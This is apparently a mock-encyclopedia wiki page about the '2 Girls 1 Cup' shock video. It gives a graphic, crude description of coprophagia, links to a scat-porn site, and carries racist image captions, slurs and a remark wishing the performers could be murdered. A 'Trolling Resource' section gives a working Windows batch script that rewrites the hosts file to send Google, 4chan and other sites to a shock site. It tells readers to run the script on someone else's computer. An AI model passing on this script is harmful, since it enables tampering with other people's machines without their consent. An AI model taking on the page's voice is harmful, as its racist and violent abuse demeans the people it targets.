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2 Girls 1 Cup is the unofficial nickname of video popularized by n00bs who had never seen a scat video before. Karla is a girl on the cusp of womanhood, but sometimes acts without thinking. Latifa is the quiet one, but plans to win with careful planning and knowledge of Karla's one weakness. On the way they will have to deal with opposition from their parents, as well as a sudden illness that threatens both of their chances at success. Who will end up with with the SCA Trophy? Can their friendship survive the competition?
Summary
If you're too much of a wuss to watch the film below, what you're missing is a beautiful love story of two lesbians engaging in an erotic act, yet expressing each other's love with each other. The video starts off as your average softcore porn and most likely, you will start masturbating to it, but you're still unaware of the proceeding horrors.
As the sentimental piano music plays, Latifa's ass suddenly shoots shit, and all of your horrors come alive. As the toffee poop descends into a cup, the two start quickly licking the delicious fecal matter. Seemingly enjoying it, Karla starts swapping some of the crap around in her mouth, and eventually swallows it. Yet, the horror does not end here. Latifa joins in and, seeing how much her friend likes it, decides to borrow some of the excrement from her mouth, which results in something that could be called shitkissing. Eventually, Karla gets sick, but decides to share some of her feelings with Latifa, and everything goes even more downhill - both of the girls are now vomiting on each other, swallowing it, then puking it out AGAIN, and, as the video slowly fades into black, all of your life has suddenly lost meaning, and every time you take a shit, you will remember the horrifying images for the rest of your life.
Tl;dr, shit and vomit.
The Film
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Short clip from the film
http://www.mfx-scatgirl-latifa.com/open.php?aktion=preview/karla-and-latifa-1/mov.wmv
A Brief Review
Controversy
The film has been criticized for its portrayal of the relationship between the two girls. While the topic is essentially lighthearted, the director's decision to show the relationship as something more than the platonic has caused the film to be recently withdrawn from many channels. In response to this, the director has released the short online, saying "That the mainstream is not ready for a film showing the innocent love between two girls is not only an indictment of the media, but of society as a whole."
Many have fallen in love with this amazing portrayal of young girls.
More on These Girls
If you fapped to this video and are dying to know who these hot sluts are, you can visit Karla or Latifa!
Reaction
As the video became more and more popular, some YouTubers decided to post some unfunny videos of their reactions to it (as if it were that much of a thing, anyways.)
- Old senile ladies have seen it.
- The police have seen it.
- The marines have seen it.
- Even Kermit the Frog has seen it . . .
- . . . and then he shows Rowlf the Dog
- Even mrfetch loves it.
- Even Heavy Weapons Guy has seen it.
- Even The Mars Volta have seen it.
- Ron Jeremy thinks it was faked using ice cream.
- Even Hitler's seen it!
- And of course, many /b/tards have seen it.
A Song in Dedication to "2 Girls 1 Cup"
Parodies
And these guys parody it.
The official soundtrack
-Set as cellphone ringtone
Sounds like a truly tasteful choice to any ignoramus fool out there and is as well a great fellow sick fuck detector:
Sequels
Last Thursday, a heart-warming sequel was released wherein 4 innocent girls explore their creative side(Requires payment).
There are over 9000 sequels, all of which containing lobotomized fucktards eating shit. Unfortunately it has not yet been legalised to murder these 'pornstars'
Trolling Resource
1) Stick this in a .bat file
2) Pass it around (if you're fucktarded enough to run it yourself go to windows\system32\drivers\etc\hosts and delete fucking everything).
3) ????
4) PROFIT!
echo ######>> %WINDIR%\system32\drivers\etc\hosts echo 66.115.143.14 google.com>> %WINDIR%\system32\drivers\etc\hosts echo 66.115.143.14 www.google.com>> %WINDIR%\system32\drivers\etc\hosts echo 66.115.143.14 google.co.uk>> %WINDIR%\system32\drivers\etc\hosts echo 66.115.143.14 www.google.co.uk>> %WINDIR%\system32\drivers\etc\hosts echo 66.115.143.14 4chan.org>> %WINDIR%\system32\drivers\etc\hosts echo 66.115.143.14 www.4chan.org>> %WINDIR%\system32\drivers\etc\hosts
What does this do???? --> It's a batch file that changes the Windows hosts file and redirects google and 4chan to the old ip address of the website. You need to create a mirror with the video on the homepage and change the ip address in the .bat in order for this to work again (no, the ip address of 2girls1cup.ws won't work / multiple websites can share the same ip address).
Alternatively 1. Find the ip address of site with shock images on the home page 1a. Make sure that typing the ip address into the address bar takes you to the site and not to a server 2. Replace 66.115.143.14 with the ip address 2a. Be lazy and use 127.0.0.1 2b. Use 204.79.197.200 and confuse people by sending them to bing 3. Add more lines with references to other popular sites such as youtube.com, www.youtube.com, tumblr.com, www.tumblr.com, etc. 4. Save batch file 5. Run the batch file on somebody's Windows computer
Gallery
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how is delicious chocolate ice cream coming out of an indian's ass?
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What!!! Not using a spoon? the poor really are disgusting
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hey Indian looking woman could you tell me if you think the milk i put in the soup i just ate went sour please?
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You gotta get money for your coke habit somehow
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hey! You fucking indian looking bitch you're getting shit on my nipple
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Already a cultural phenomenon.
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the spoiler smiley.
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even Sherrod and her clone are getting involved in the runaway phenomena
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YouTube is not as pleased with the movie.
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"An emotional rollercoaster" - Jonathan Ross
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"I didn't think I would ever stop crying" - Roger Ebert
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2Girls1Cup: The Essay.
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2Girls1Cup:The Essay. Page 2
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2 Cats share in the fantasy
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It was so popular even J.K.Rowling had to get a taste.
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Kirsten Dunst can make anything unsexy
Videos
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One Monkey One Window
What the fuck is Youtube allowing on their site? Sick fuck monkeys that rape other animals, piss in their own mouths, throw shit at people, now this:
See also
- 3Guys1Hammer
- 1guy1knee
- 1man1jar
- 1 Lunatic 1 Ice Pick
- Two Girls One Finger
- 1guy1screwdriver
- Shock site
- MFX Video
- Love
- Germany
- Cakefarts
- Shitmeister
- Coprophilia
- Goatse
Sources
- TOW article.
- 2 Girls 1 Cup Full Video
- Official page, with free download
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